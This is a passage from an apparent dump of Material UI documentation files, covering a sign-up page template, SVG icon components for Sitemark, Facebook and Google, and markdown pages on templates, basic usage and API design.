0px, hsla(220, 25%, 10%, 0.05) 0px 15px 35px -5px',\n  [theme.breakpoints.up('sm')]: {\n    width: '450px',\n  },\n  ...theme.applyStyles('dark', {\n    boxShadow:\n      'hsla(220, 30%, 5%, 0.5) 0px 5px 15px 0px, hsla(220, 25%, 10%, 0.08) 0px 15px 35px -5px',\n  }),\n}));\n\nconst SignUpContainer = styled(Stack)(({ theme }) => ({\n  height: 'calc((1 - var(--template-frame-height, 0)) * 100dvh)',\n  minHeight: '100%',\n  padding: theme.spacing(2),\n  [theme.breakpoints.up('sm')]: {\n    padding: theme.spacing(4),\n  },\n  '&::before': {\n    content: '\"\"',\n    display: 'block',\n    position: 'absolute',\n    zIndex: -1,\n    inset: 0,\n    backgroundImage:\n      'radial-gradient(ellipse at 50% 50%, hsl(210, 100%, 97%), hsl(0, 0%, 100%))',\n    backgroundRepeat: 'no-repeat',\n    ...theme.applyStyles('dark', {\n      backgroundImage:\n        'radial-gradient(at 50% 50%, hsla(210, 100%, 16%, 0.5), hsl(220, 30%, 5%))',\n    }),\n  },\n}));\n\nexport default function SignUp(props: { disableCustomTheme?: boolean }) {\n  const [emailError, setEmailError] = React.useState(false);\n  const [emailErrorMessage, setEmailErrorMessage] = React.useState('');\n  const [passwordError, setPasswordError] = React.useState(false);\n  const [passwordErrorMessage, setPasswordErrorMessage] = React.useState('');\n  const [nameError, setNameError] = React.useState(false);\n  const [nameErrorMessage, setNameErrorMessage] = React.useState('');\n\n  const validateInputs = () => {\n    const email = document.getElementById('email') as HTMLInputElement;\n    const password = document.getElementById('password') as HTMLInputElement;\n    const name = document.getElementById('name') as HTMLInputElement;\n\n    let isValid = true;\n\n    if (!email.value || !/\\S+@\\S+\\.\\S+/.test(email.value)) {\n      setEmailError(true);\n      setEmailErrorMessage('Please enter a valid email address.');\n      isValid = false;\n    } else {\n      setEmailError(false);\n      setEmailErrorMessage('');\n    }\n\n    if (!password.value || password.value.length < 6) {\n      setPasswordError(true);\n      setPasswordErrorMessage('Password must be at least 6 characters long.');\n      isValid = false;\n    } else {\n      setPasswordError(false);\n      setPasswordErrorMessage('');\n    }\n\n    if (!name.value || name.value.length < 1) {\n      setNameError(true);\n      setNameErrorMessage('Name is required.');\n      isValid = false;\n    } else {\n      setNameError(false);\n      setNameErrorMessage('');\n    }\n\n    return isValid;\n  };\n\n  const handleSubmit = (event: React.FormEvent<HTMLFormElement>) => {\n    if (nameError || emailError || passwordError) {\n      event.preventDefault();\n      return;\n    }\n    const data = new FormData(event.currentTarget);\n    console.log({\n      name: data.get('name'),\n      lastName: data.get('lastName'),\n      email: data.get('email'),\n      password: data.get('password'),\n    });\n  };\n\n  return (\n    <AppTheme {...props}>\n      <CssBaseline enableColorScheme />\n      <ColorModeSelect sx={{ position: 'fixed', top: '1rem', right: '1rem' }} />\n      <SignUpContainer direction=\"column\" sx={{ justifyContent: 'space-between' }}>\n        <Card variant=\"outlined\">\n          <SitemarkIcon />\n          <Typography\n            component=\"h1\"\n            variant=\"h4\"\n            sx={{ width: '100%', fontSize: 'clamp(2rem, 10vw, 2.15rem)' }}\n          >\n            Sign up\n          </Typography>\n          <Box\n            component=\"form\"\n            onSubmit={handleSubmit}\n            sx={{ display: 'flex', flexDirection: 'column', gap: 2 }}\n          >\n            <FormControl>\n              <FormLabel htmlFor=\"name\">Full name</FormLabel>\n              <TextField\n                autoComplete=\"name\"\n                name=\"name\"\n                required\n                fullWidth\n                id=\"name\"\n                placeholder=\"Jon Snow\"\n                error={nameError}\n                helperText={nameErrorMessage}\n                color={nameError ? 'error' : 'primary'}\n              />\n            </FormControl>\n            <FormControl>\n              <FormLabel htmlFor=\"email\">Email</FormLabel>\n              <TextField\n                required\n                fullWidth\n                id=\"email\"\n                placeholder=\"your@email.com\"\n                name=\"email\"\n                autoComplete=\"email\"\n                variant=\"outlined\"\n                error={emailError}\n                helperText={emailErrorMessage}\n                color={passwordError ? 'error' : 'primary'}\n              />\n            </FormControl>\n            <FormControl>\n              <FormLabel htmlFor=\"password\">Password</FormLabel>\n              <TextField\n                required\n                fullWidth\n                name=\"password\"\n                placeholder=\"••••••\"\n                type=\"password\"\n                id=\"password\"\n                autoComplete=\"new-password\"\n                variant=\"outlined\"\n                error={passwordError}\n                helperText={passwordErrorMessage}\n                color={passwordError ? 'error' : 'primary'}\n              />\n            </FormControl>\n            <FormControlLabel\n              control={<Checkbox value=\"allowExtraEmails\" color=\"primary\" />}\n              label=\"I want to receive updates via email.\"\n            />\n            <Button\n              type=\"submit\"\n              fullWidth\n              variant=\"contained\"\n              onClick={validateInputs}\n            >\n              Sign up\n            </Button>\n          </Box>\n          <Divider>\n            <Typography sx={{ color: 'text.secondary' }}>or</Typography>\n          </Divider>\n          <Box sx={{ display: 'flex', flexDirection: 'column', gap: 2 }}>\n            <Button\n              fullWidth\n              variant=\"outlined\"\n              onClick={() => alert('Sign up with Google')}\n              startIcon={<GoogleIcon />}\n            >\n              Sign up with Google\n            </Button>\n            <Button\n              fullWidth\n              variant=\"outlined\"\n              onClick={() => alert('Sign up with Facebook')}\n              startIcon={<FacebookIcon />}\n            >\n              Sign up with Facebook\n            </Button>\n            <Typography sx={{ textAlign: 'center' }}>\n              Already have an account?{' '}\n              <Link\n                href=\"/material-ui/getting-started/templates/sign-in/\"\n                variant=\"body2\"\n                sx={{ alignSelf: 'center' }}\n              >\n                Sign in\n              </Link>\n            </Typography>\n          </Box>\n        </Card>\n      </SignUpContainer>\n    </AppTheme>\n  );\n}\n"
  },
  {
    "path": "docs/data/material/getting-started/templates/sign-up/components/CustomIcons.js",
    "content": "import SvgIcon from '@mui/material/SvgIcon';\n\nexport function SitemarkIcon() {\n  return (\n    <SvgIcon sx={{ height: 21, width: 100 }}>\n      <svg\n        width={86}\n        height={19}\n        viewBox=\"0 0 86 19\"\n        fill=\"none\"\n        xmlns=\"http://www.w3.org/2000/svg\"\n      >\n        <path\n          fill=\"#B4C0D3\"\n          d=\"m.787 12.567 6.055-2.675 3.485 2.006.704 6.583-4.295-.035.634-4.577-.74-.422-3.625 2.817-2.218-3.697Z\"\n        />\n        <path\n          fill=\"#00D3AB\"\n          d=\"m10.714 11.616 5.352 3.908 2.112-3.767-4.295-1.725v-.845l4.295-1.76-2.112-3.732-5.352 3.908v4.013Z\"\n        />\n        <path\n          fill=\"#4876EF\"\n          d=\"m10.327 7.286.704-6.583-4.295.07.634 4.577-.74.422-3.66-2.816L.786 6.617l6.055 2.676 3.485-2.007Z\"\n        />\n        <path\n          fill=\"#4876EE\"\n          d=\"M32.507 8.804v6.167h2.312v-7.86h-3.366v1.693h1.054ZM32.435 6.006c.212.22.535.33.968.33.434 0 .751-.11.953-.33.213-.23.318-.516.318-.86 0-.354-.105-.641-.318-.86-.202-.23-.52-.345-.953-.345-.433 0-.756.115-.968.344-.202.22-.303.507-.303.86 0 .345.101.632.303.861ZM24.46 14.799c.655.296 1.46.444 2.413.444.896 0 1.667-.139 2.312-.416.645-.277 1.141-.664 1.488-1.162.357-.506.535-1.094.535-1.764 0-.65-.169-1.2-.506-1.649-.328-.459-.785-.818-1.373-1.076-.587-.267-1.266-.435-2.037-.502l-.809-.071c-.481-.039-.828-.168-1.04-.388a1.08 1.08 0 0 1-.318-.774c0-.23.058-.44.173-.631.116-.201.29-.359.52-.474.241-.114.535-.172.882-.172.366 0 .67.067.91.201.053.029.104.059.15.09l.012.009.052.037c.146.111.263.243.35.395.125.21.188.444.188.703h2.311c0-.689-.159-1.286-.476-1.793-.318-.516-.776-.913-1.373-1.19-.588-.287-1.296-.43-2.124-.43-.79 0-1.474.133-2.052.4a3.131 3.131 0 0 0-1.358 1.12c-.318.487-.477 1.066-.477 1.735 0 .927.314 1.673.94 2.237.626.564 1.464.89 2.514.976l.794.071c.645.058 1.113.187 1.401.388a.899.899 0 0 1 .434.788 1.181 1.181 0 0 1-.231.717c-.154.201-.38.36-.68.474-.298.115-.669.172-1.112.172-.49 0-.89-.067-1.199-.2-.308-.144-.539-.33-.694-.56a1.375 1.375 0 0 1-.216-.746h-2.297c0 .679.168 1.281.505 1.807.337.517.834.928 1.489 1.234ZM39.977 15.07c-.8 0-1.445-.095-1.936-.286a2.03 2.03 0 0 1-1.084-.99c-.221-.469-.332-1.1-.332-1.893V8.789h-1.2V7.11h1.2V4.988h2.153V7.11h2.312V8.79h-2.312v3.198c0 .373.096.66.289.86.202.192.486.287.852.287h1.17v1.937h-1.112Z\"\n        />\n        <path\n          fill=\"#4876EE\"\n          fillRule=\"evenodd\"\n          d=\"M43.873 14.899c.52.23 1.117.344 1.791.344.665 0 1.252-.115 1.763-.344.51-.23.934-.55 1.271-.96.337-.412.564-.88.679-1.407h-2.124c-.096.24-.279.44-.549.603-.27.162-.616.244-1.04.244-.262 0-.497-.031-.704-.093a1.572 1.572 0 0 1-.423-.194 1.662 1.662 0 0 1-.636-.803 3.159 3.159 0 0 1-.163-.645h5.784v-.775a4.28 4.28 0 0 0-.463-1.98 3.686 3.686 0 0 0-1.343-1.477c-.578-.382-1.291-.574-2.139-.574-.645 0-1.223.115-1.733.345-.501.22-.92.52-1.257.903a4.178 4.178 0 0 0-.78 1.305c-.174.478-.26.98-.26 1.506v.287c0 .507.086 1.004.26 1.492.183.478.443.913.78 1.305.347.382.775.688 1.286.918Zm-.094-4.674.02-.09a2.507 2.507 0 0 1 .117-.356c.145-.354.356-.622.636-.804.104-.067.217-.123.339-.165.204-.071.433-.107.686-.107.395 0 .723.09.983.272.27.173.472.426.607.76a2.487 2.487 0 0 1 .16.603h-3.57c.006-.038.013-.076.022-.113Z\"\n          clipRule=\"evenodd\"\n        />\n        <path\n          fill=\"#4876EE\"\n          d=\"M50.476 14.97V7.112h1.835v1.98a4.54 4.54 0 0 1 .173-.603c.202-.536.506-.937.91-1.205.405-.277.9-.416 1.488-.416h.101c.598 0 1.094.139 1.489.416.404.268.707.67.91 1.205l.016.04.013.037.028-.077c.212-.536.52-.937.925-1.205.405-.277.901-.416 1.489-.416h.1c.598 0 1.098.139 1.503.416.414.268.727.67.94 1.205.211.535.317 1.205.317 2.008v4.475h-2.312v-4.604c0-.43-.115-.78-.346-1.047-.222-.268-.54-.402-.954-.402-.414 0-.742.139-.982.416-.241.268-.362.626-.362 1.076v4.56h-2.326v-4.603c0-.43-.115-.78-.346-1.047-.222-.268-.535-.402-.94-.402-.423 0-.756.139-.996.416-.241.268-.362.626-.362 1.076v4.56h-2.311Z\"\n        />\n        <path\n          fill=\"#4876EE\"\n          fillRule=\"evenodd\"\n          d=\"M68.888 13.456v1.515h1.834v-4.82c0-.726-.144-1.319-.433-1.778-.289-.468-.712-.817-1.271-1.047-.549-.23-1.228-.344-2.037-.344a27.76 27.76 0 0 0-.896.014c-.318.01-.626.024-.924.043l-.229.016a36.79 36.79 0 0 0-.552.042v1.936a81.998 81.998 0 0 1 1.733-.09 37.806 37.806 0 0 1 1.171-.025c.424 0 .732.1.925.301.193.201.289.502.289.904v.029h-1.43c-.704 0-1.325.09-1.864.272-.54.172-.959.445-1.257.818-.299.363-.448.832-.448 1.405 0 .526.12.98.361 1.363.24.373.573.66.997.86.433.201.934.302 1.502.302.55 0 1.012-.1 1.388-.302.385-.2.683-.487.895-.86a2.443 2.443 0 0 0 .228-.498l.018-.056Zm-.39-1.397v-.63h-1.445c-.405 0-.718.1-.939.3-.212.192-.318.455-.318.79 0 .157.026.3.08.429a.99.99 0 0 0 .238.345c.221.191.534.287.939.287a2.125 2.125 0 0 0 .394-.038c.106-.021.206-.052.3-.092.212-.095.385-.253.52-.473.135-.22.212-.526.23-.918Z\"\n          clipRule=\"evenodd\"\n        />\n        <path\n          fill=\"#4876EE\"\n          d=\"M72.106 14.97V7.11h1.835v2.595c.088-.74.31-1.338.665-1.791.481-.603 1.174-.904 2.08-.904h.303v1.98h-.578c-.635 0-1.127.172-1.473.516-.347.334-.52.822-.52 1.463v4.001h-2.312ZM79.92 11.298h.767l2.499 3.672h2.6l-3.169-4.51 2.606-3.35h-2.427l-2.875 3.737V4.5h-2.312v10.47h2.312v-3.672Z\"\n        />\n      </svg>\n    </SvgIcon>\n  );\n}\n\nexport function FacebookIcon() {\n  return (\n    <SvgIcon>\n      <svg\n        width=\"16\"\n        height=\"16\"\n        viewBox=\"0 0 16 16\"\n        fill=\"none\"\n        xmlns=\"http://www.w3.org/2000/svg\"\n      >\n        <path\n          d=\"M6.68 15.92C2.88 15.24 0 11.96 0 8C0 3.6 3.6 0 8 0C12.4 0 16 3.6 16 8C16 11.96 13.12 15.24 9.32 15.92L8.88 15.56H7.12L6.68 15.92Z\"\n          fill=\"url(#paint0_linear_795_116)\"\n        />\n        <path\n          d=\"M11.12 10.2391L11.48 7.99914H9.36V6.43914C9.36 5.79914 9.6 5.31914 10.56 5.31914H11.6V3.27914C11.04 3.19914 10.4 3.11914 9.84 3.11914C8 3.11914 6.72 4.23914 6.72 6.23914V7.99914H4.72V10.2391H6.72V15.8791C7.16 15.9591 7.6 15.9991 8.04 15.9991C8.48 15.9991 8.92 15.9591 9.36 15.8791V10.2391H11.12Z\"\n          fill=\"white\"\n        />\n        <defs>\n          <linearGradient\n            id=\"paint0_linear_795_116\"\n            x1=\"8\"\n            y1=\"0\"\n            x2=\"8\"\n            y2=\"15.9991\"\n            gradientUnits=\"userSpaceOnUse\"\n          >\n            <stop stopColor=\"#1AAFFF\" />\n            <stop offset=\"1\" stopColor=\"#0163E0\" />\n          </linearGradient>\n        </defs>\n      </svg>\n    </SvgIcon>\n  );\n}\n\nexport function GoogleIcon() {\n  return (\n    <SvgIcon>\n      <svg\n        width=\"16\"\n        height=\"16\"\n        viewBox=\"0 0 16 16\"\n        fill=\"none\"\n        xmlns=\"http://www.w3.org/2000/svg\"\n      >\n        <path\n          d=\"M15.68 8.18182C15.68 7.61455 15.6291 7.06909 15.5345 6.54545H8V9.64364H12.3055C12.1164 10.64 11.5491 11.4836 10.6982 12.0509V14.0655H13.2945C14.8073 12.6691 15.68 10.6182 15.68 8.18182Z\"\n          fill=\"#4285F4\"\n        />\n        <path\n          d=\"M8 16C10.16 16 11.9709 15.2873 13.2945 14.0655L10.6982 12.0509C9.98545 12.5309 9.07636 12.8218 8 12.8218C5.92 12.8218 4.15273 11.4182 3.52 9.52727H0.858182V11.5927C2.17455 14.2036 4.87273 16 8 16Z\"\n          fill=\"#34A853\"\n        />\n        <path\n          d=\"M3.52 9.52C3.36 9.04 3.26545 8.53091 3.26545 8C3.26545 7.46909 3.36 6.96 3.52 6.48V4.41455H0.858182C0.312727 5.49091 0 6.70545 0 8C0 9.29455 0.312727 10.5091 0.858182 11.5855L2.93091 9.97091L3.52 9.52Z\"\n          fill=\"#FBBC05\"\n        />\n        <path\n          d=\"M8 3.18545C9.17818 3.18545 10.2255 3.59273 11.0618 4.37818L13.3527 2.08727C11.9636 0.792727 10.16 0 8 0C4.87273 0 2.17455 1.79636 0.858182 4.41455L3.52 6.48C4.15273 4.58909 5.92 3.18545 8 3.18545Z\"\n          fill=\"#EA4335\"\n        />\n      </svg>\n    </SvgIcon>\n  );\n}\n"
  },
  {
    "path": "docs/data/material/getting-started/templates/sign-up/components/CustomIcons.tsx",
    "content": "import SvgIcon from '@mui/material/SvgIcon';\n\nexport function SitemarkIcon() {\n  return (\n    <SvgIcon sx={{ height: 21, width: 100 }}>\n      <svg\n        width={86}\n        height={19}\n        viewBox=\"0 0 86 19\"\n        fill=\"none\"\n        xmlns=\"http://www.w3.org/2000/svg\"\n      >\n        <path\n          fill=\"#B4C0D3\"\n          d=\"m.787 12.567 6.055-2.675 3.485 2.006.704 6.583-4.295-.035.634-4.577-.74-.422-3.625 2.817-2.218-3.697Z\"\n        />\n        <path\n          fill=\"#00D3AB\"\n          d=\"m10.714 11.616 5.352 3.908 2.112-3.767-4.295-1.725v-.845l4.295-1.76-2.112-3.732-5.352 3.908v4.013Z\"\n        />\n        <path\n          fill=\"#4876EF\"\n          d=\"m10.327 7.286.704-6.583-4.295.07.634 4.577-.74.422-3.66-2.816L.786 6.617l6.055 2.676 3.485-2.007Z\"\n        />\n        <path\n          fill=\"#4876EE\"\n          d=\"M32.507 8.804v6.167h2.312v-7.86h-3.366v1.693h1.054ZM32.435 6.006c.212.22.535.33.968.33.434 0 .751-.11.953-.33.213-.23.318-.516.318-.86 0-.354-.105-.641-.318-.86-.202-.23-.52-.345-.953-.345-.433 0-.756.115-.968.344-.202.22-.303.507-.303.86 0 .345.101.632.303.861ZM24.46 14.799c.655.296 1.46.444 2.413.444.896 0 1.667-.139 2.312-.416.645-.277 1.141-.664 1.488-1.162.357-.506.535-1.094.535-1.764 0-.65-.169-1.2-.506-1.649-.328-.459-.785-.818-1.373-1.076-.587-.267-1.266-.435-2.037-.502l-.809-.071c-.481-.039-.828-.168-1.04-.388a1.08 1.08 0 0 1-.318-.774c0-.23.058-.44.173-.631.116-.201.29-.359.52-.474.241-.114.535-.172.882-.172.366 0 .67.067.91.201.053.029.104.059.15.09l.012.009.052.037c.146.111.263.243.35.395.125.21.188.444.188.703h2.311c0-.689-.159-1.286-.476-1.793-.318-.516-.776-.913-1.373-1.19-.588-.287-1.296-.43-2.124-.43-.79 0-1.474.133-2.052.4a3.131 3.131 0 0 0-1.358 1.12c-.318.487-.477 1.066-.477 1.735 0 .927.314 1.673.94 2.237.626.564 1.464.89 2.514.976l.794.071c.645.058 1.113.187 1.401.388a.899.899 0 0 1 .434.788 1.181 1.181 0 0 1-.231.717c-.154.201-.38.36-.68.474-.298.115-.669.172-1.112.172-.49 0-.89-.067-1.199-.2-.308-.144-.539-.33-.694-.56a1.375 1.375 0 0 1-.216-.746h-2.297c0 .679.168 1.281.505 1.807.337.517.834.928 1.489 1.234ZM39.977 15.07c-.8 0-1.445-.095-1.936-.286a2.03 2.03 0 0 1-1.084-.99c-.221-.469-.332-1.1-.332-1.893V8.789h-1.2V7.11h1.2V4.988h2.153V7.11h2.312V8.79h-2.312v3.198c0 .373.096.66.289.86.202.192.486.287.852.287h1.17v1.937h-1.112Z\"\n        />\n        <path\n          fill=\"#4876EE\"\n          fillRule=\"evenodd\"\n          d=\"M43.873 14.899c.52.23 1.117.344 1.791.344.665 0 1.252-.115 1.763-.344.51-.23.934-.55 1.271-.96.337-.412.564-.88.679-1.407h-2.124c-.096.24-.279.44-.549.603-.27.162-.616.244-1.04.244-.262 0-.497-.031-.704-.093a1.572 1.572 0 0 1-.423-.194 1.662 1.662 0 0 1-.636-.803 3.159 3.159 0 0 1-.163-.645h5.784v-.775a4.28 4.28 0 0 0-.463-1.98 3.686 3.686 0 0 0-1.343-1.477c-.578-.382-1.291-.574-2.139-.574-.645 0-1.223.115-1.733.345-.501.22-.92.52-1.257.903a4.178 4.178 0 0 0-.78 1.305c-.174.478-.26.98-.26 1.506v.287c0 .507.086 1.004.26 1.492.183.478.443.913.78 1.305.347.382.775.688 1.286.918Zm-.094-4.674.02-.09a2.507 2.507 0 0 1 .117-.356c.145-.354.356-.622.636-.804.104-.067.217-.123.339-.165.204-.071.433-.107.686-.107.395 0 .723.09.983.272.27.173.472.426.607.76a2.487 2.487 0 0 1 .16.603h-3.57c.006-.038.013-.076.022-.113Z\"\n          clipRule=\"evenodd\"\n        />\n        <path\n          fill=\"#4876EE\"\n          d=\"M50.476 14.97V7.112h1.835v1.98a4.54 4.54 0 0 1 .173-.603c.202-.536.506-.937.91-1.205.405-.277.9-.416 1.488-.416h.101c.598 0 1.094.139 1.489.416.404.268.707.67.91 1.205l.016.04.013.037.028-.077c.212-.536.52-.937.925-1.205.405-.277.901-.416 1.489-.416h.1c.598 0 1.098.139 1.503.416.414.268.727.67.94 1.205.211.535.317 1.205.317 2.008v4.475h-2.312v-4.604c0-.43-.115-.78-.346-1.047-.222-.268-.54-.402-.954-.402-.414 0-.742.139-.982.416-.241.268-.362.626-.362 1.076v4.56h-2.326v-4.603c0-.43-.115-.78-.346-1.047-.222-.268-.535-.402-.94-.402-.423 0-.756.139-.996.416-.241.268-.362.626-.362 1.076v4.56h-2.311Z\"\n        />\n        <path\n          fill=\"#4876EE\"\n          fillRule=\"evenodd\"\n          d=\"M68.888 13.456v1.515h1.834v-4.82c0-.726-.144-1.319-.433-1.778-.289-.468-.712-.817-1.271-1.047-.549-.23-1.228-.344-2.037-.344a27.76 27.76 0 0 0-.896.014c-.318.01-.626.024-.924.043l-.229.016a36.79 36.79 0 0 0-.552.042v1.936a81.998 81.998 0 0 1 1.733-.09 37.806 37.806 0 0 1 1.171-.025c.424 0 .732.1.925.301.193.201.289.502.289.904v.029h-1.43c-.704 0-1.325.09-1.864.272-.54.172-.959.445-1.257.818-.299.363-.448.832-.448 1.405 0 .526.12.98.361 1.363.24.373.573.66.997.86.433.201.934.302 1.502.302.55 0 1.012-.1 1.388-.302.385-.2.683-.487.895-.86a2.443 2.443 0 0 0 .228-.498l.018-.056Zm-.39-1.397v-.63h-1.445c-.405 0-.718.1-.939.3-.212.192-.318.455-.318.79 0 .157.026.3.08.429a.99.99 0 0 0 .238.345c.221.191.534.287.939.287a2.125 2.125 0 0 0 .394-.038c.106-.021.206-.052.3-.092.212-.095.385-.253.52-.473.135-.22.212-.526.23-.918Z\"\n          clipRule=\"evenodd\"\n        />\n        <path\n          fill=\"#4876EE\"\n          d=\"M72.106 14.97V7.11h1.835v2.595c.088-.74.31-1.338.665-1.791.481-.603 1.174-.904 2.08-.904h.303v1.98h-.578c-.635 0-1.127.172-1.473.516-.347.334-.52.822-.52 1.463v4.001h-2.312ZM79.92 11.298h.767l2.499 3.672h2.6l-3.169-4.51 2.606-3.35h-2.427l-2.875 3.737V4.5h-2.312v10.47h2.312v-3.672Z\"\n        />\n      </svg>\n    </SvgIcon>\n  );\n}\n\nexport function FacebookIcon() {\n  return (\n    <SvgIcon>\n      <svg\n        width=\"16\"\n        height=\"16\"\n        viewBox=\"0 0 16 16\"\n        fill=\"none\"\n        xmlns=\"http://www.w3.org/2000/svg\"\n      >\n        <path\n          d=\"M6.68 15.92C2.88 15.24 0 11.96 0 8C0 3.6 3.6 0 8 0C12.4 0 16 3.6 16 8C16 11.96 13.12 15.24 9.32 15.92L8.88 15.56H7.12L6.68 15.92Z\"\n          fill=\"url(#paint0_linear_795_116)\"\n        />\n        <path\n          d=\"M11.12 10.2391L11.48 7.99914H9.36V6.43914C9.36 5.79914 9.6 5.31914 10.56 5.31914H11.6V3.27914C11.04 3.19914 10.4 3.11914 9.84 3.11914C8 3.11914 6.72 4.23914 6.72 6.23914V7.99914H4.72V10.2391H6.72V15.8791C7.16 15.9591 7.6 15.9991 8.04 15.9991C8.48 15.9991 8.92 15.9591 9.36 15.8791V10.2391H11.12Z\"\n          fill=\"white\"\n        />\n        <defs>\n          <linearGradient\n            id=\"paint0_linear_795_116\"\n            x1=\"8\"\n            y1=\"0\"\n            x2=\"8\"\n            y2=\"15.9991\"\n            gradientUnits=\"userSpaceOnUse\"\n          >\n            <stop stopColor=\"#1AAFFF\" />\n            <stop offset=\"1\" stopColor=\"#0163E0\" />\n          </linearGradient>\n        </defs>\n      </svg>\n    </SvgIcon>\n  );\n}\n\nexport function GoogleIcon() {\n  return (\n    <SvgIcon>\n      <svg\n        width=\"16\"\n        height=\"16\"\n        viewBox=\"0 0 16 16\"\n        fill=\"none\"\n        xmlns=\"http://www.w3.org/2000/svg\"\n      >\n        <path\n          d=\"M15.68 8.18182C15.68 7.61455 15.6291 7.06909 15.5345 6.54545H8V9.64364H12.3055C12.1164 10.64 11.5491 11.4836 10.6982 12.0509V14.0655H13.2945C14.8073 12.6691 15.68 10.6182 15.68 8.18182Z\"\n          fill=\"#4285F4\"\n        />\n        <path\n          d=\"M8 16C10.16 16 11.9709 15.2873 13.2945 14.0655L10.6982 12.0509C9.98545 12.5309 9.07636 12.8218 8 12.8218C5.92 12.8218 4.15273 11.4182 3.52 9.52727H0.858182V11.5927C2.17455 14.2036 4.87273 16 8 16Z\"\n          fill=\"#34A853\"\n        />\n        <path\n          d=\"M3.52 9.52C3.36 9.04 3.26545 8.53091 3.26545 8C3.26545 7.46909 3.36 6.96 3.52 6.48V4.41455H0.858182C0.312727 5.49091 0 6.70545 0 8C0 9.29455 0.312727 10.5091 0.858182 11.5855L2.93091 9.97091L3.52 9.52Z\"\n          fill=\"#FBBC05\"\n        />\n        <path\n          d=\"M8 3.18545C9.17818 3.18545 10.2255 3.59273 11.0618 4.37818L13.3527 2.08727C11.9636 0.792727 10.16 0 8 0C4.87273 0 2.17455 1.79636 0.858182 4.41455L3.52 6.48C4.15273 4.58909 5.92 3.18545 8 3.18545Z\"\n          fill=\"#EA4335\"\n        />\n      </svg>\n    </SvgIcon>\n  );\n}\n"
  },
  {
    "path": "docs/data/material/getting-started/templates/templates.md",
    "content": "---\nproductId: material-ui\ntitle: New Free React Templates\n---\n\n# React templates\n\n<p class=\"description\">Browse our collection of free React templates to get started building your app with Material UI, including a React dashboard, React marketing page, and more.</p>\n\n## Free templates\n\nOur curated collection of free Material UI templates includes a dashboard, a marketing page, a checkout flow, sign-in and sign-up pages, and a blog.\nYou can download each one directly from the source code or via CodeSandbox or StackBlitz.\n\nAll templates feature a custom theme and a default Material Design 2 theme, with light and dark modes for both.\nYou can toggle through each of these style options in the top right corner of the live previews.\n\nSections of each layout are defined either by comments or use of separate files, so you can extract parts of a page (such as a hero unit or a footer) for reuse in other pages.\nThese templates can be combined with one of the [example projects](/material-ui/getting-started/example-projects/) to form a complete starter app.\n\n:::info\nIf you see any room for improvement, please feel free to open an [issue](https://github.com/mui/material-ui/issues/new/choose) or a [pull request](https://github.com/mui/material-ui/pulls) on GitHub.\n:::\n\n{{\"component\": \"modules/components/MaterialFreeTemplatesCollection.js\"}}\n\n## Premium templates\n\nLooking for something more?\nYou can find complete templates and themes like those shown below in the <a href=\"https://mui.com/store/?utm_source=docs&utm_medium=referral&utm_campaign=templates-store\">premium template section</a> of the MUI Store.\n\n<a href=\"https://mui.com/store/?utm_source=docs&utm_medium=referral&utm_campaign=templates-store\">\n<span class=\"only-light-mode\">\n  <img src=\"/static/images/themes-display-light.png\" alt=\"The MUI Store includes several carefully curated React templates using Material UI\" width=\"2280\" height=\"1200\" style=\"display: block;\" />\n</span>\n<span class=\"only-dark-mode\">\n  <img src=\"/static/images/themes-display-dark.png\" alt=\"The MUI Store includes several carefully curated React templates using Material UI\" width=\"2280\" height=\"1200\" style=\"display: block;\" />\n</span>\n</a>\n"
  },
  {
    "path": "docs/data/material/getting-started/usage/ButtonUsage.js",
    "content": "import Button from '@mui/material/Button';\n\nexport default function ButtonUsage() {\n  return <Button variant=\"contained\">Hello world</Button>;\n}\n"
  },
  {
    "path": "docs/data/material/getting-started/usage/ButtonUsage.tsx",
    "content": "import Button from '@mui/material/Button';\n\nexport default function ButtonUsage() {\n  return <Button variant=\"contained\">Hello world</Button>;\n}\n"
  },
  {
    "path": "docs/data/material/getting-started/usage/ButtonUsage.tsx.preview",
    "content": "<Button variant=\"contained\">Hello world</Button>"
  },
  {
    "path": "docs/data/material/getting-started/usage/usage.md",
    "content": "# Usage\n\n<p class=\"description\">Learn the basics of working with Material UI components.</p>\n\n## Quickstart\n\nAfter [installation](/material-ui/getting-started/installation/), you can import any Material UI component and start playing around.\nFor example, try changing the `variant` on the [Button](/material-ui/react-button/) to `outlined` to see how the style changes:\n\n{{\"demo\": \"ButtonUsage.js\", \"defaultCodeOpen\": true}}\n\n## Globals\n\nSince Material UI components are built to function in isolation, they don't require any kind of globally scoped styles.\nFor a better user experience and developer experience, we recommend adding the following globals to your app.\n\n### Responsive meta tag\n\nMaterial UI is a _mobile-first_ component library—we write code for mobile devices first, and then scale up the components as necessary using CSS media queries.\n\nTo ensure proper rendering and touch zooming for all devices, add the responsive viewport meta tag to your `<head>` element:\n\n```html\n<meta name=\"viewport\" content=\"initial-scale=1, width=device-width\" />\n```\n\n### CssBaseline\n\nMaterial UI provides an optional [CssBaseline](/material-ui/react-css-baseline/) component.\nIt fixes some inconsistencies across browsers and devices while providing resets that are better tailored to fit Material UI than alternative global style sheets like [normalize.css](https://github.com/necolas/normalize.css/).\n\n### Default font\n\nMaterial UI uses the Roboto font by default.\nSee [Installation—Roboto font](/material-ui/getting-started/installation/#roboto-font) for complete details.\n"
  },
  {
    "path": "docs/data/material/guides/api/api.md",
    "content": "# API design approach\n\n<p class=\"description\">We have learned a great deal regarding how Material UI is used, and the v1 rewrite allowed us to completely rethink the component API.</p>\n\n> API design is hard because you can make it seem simple but it's actually deceptively complex, or make it actually simple but seem complex.\n> [@sebmarkbage](https://x.com/sebmarkbage/status/728433349337841665)\n\nAs Sebastian Markbage [pointed out](https://2014.jsconf.eu/speakers/sebastian-markbage-minimal-api-surface-area-learning-patterns-instead-of-frameworks.html), no abstraction is superior to wrong abstractions.\nWe are providing low-level components to maximize composition capabilities.\n\n## Composition\n\nYou may have noticed some inconsistency in the API regarding composing components.\nTo provide some transparency, we have been using the following rules when designing the API:\n\n1. Using the `children` prop is the idiomatic way to do composition with React.\n2. Sometimes we only need limited child composition, for instance when we don't need to allow child order permutations.\n   In this case, providing explicit props makes the implementation simpler and more performant; for example, the `Tab` takes an `icon` and a `label` prop.\n3. API consistency matters.\n\n## Rules\n\nAside from the above composition trade-off, we enforce the following rules:\n\n### Spread\n\nProps supplied to a component which are not explicitly documented are spread to the root element;\nfor instance, the `className` prop is applied to the root.\n\nNow, let's say you want to disable the ripples on the `MenuItem`.\nYou can take advantage of the spread behavior:\n\n```jsx\n<MenuItem disableRipple />\n```\n\nThe `disableRipple` prop will flow this way: [`MenuItem`](/material-ui/api/menu-item/) > [`ListItem`](/material-ui/api/list-item/) > [`ButtonBase`](/material-ui/api/button-base/).\n\n### Native properties\n\nWe avoid documenting native properties supported by the DOM like 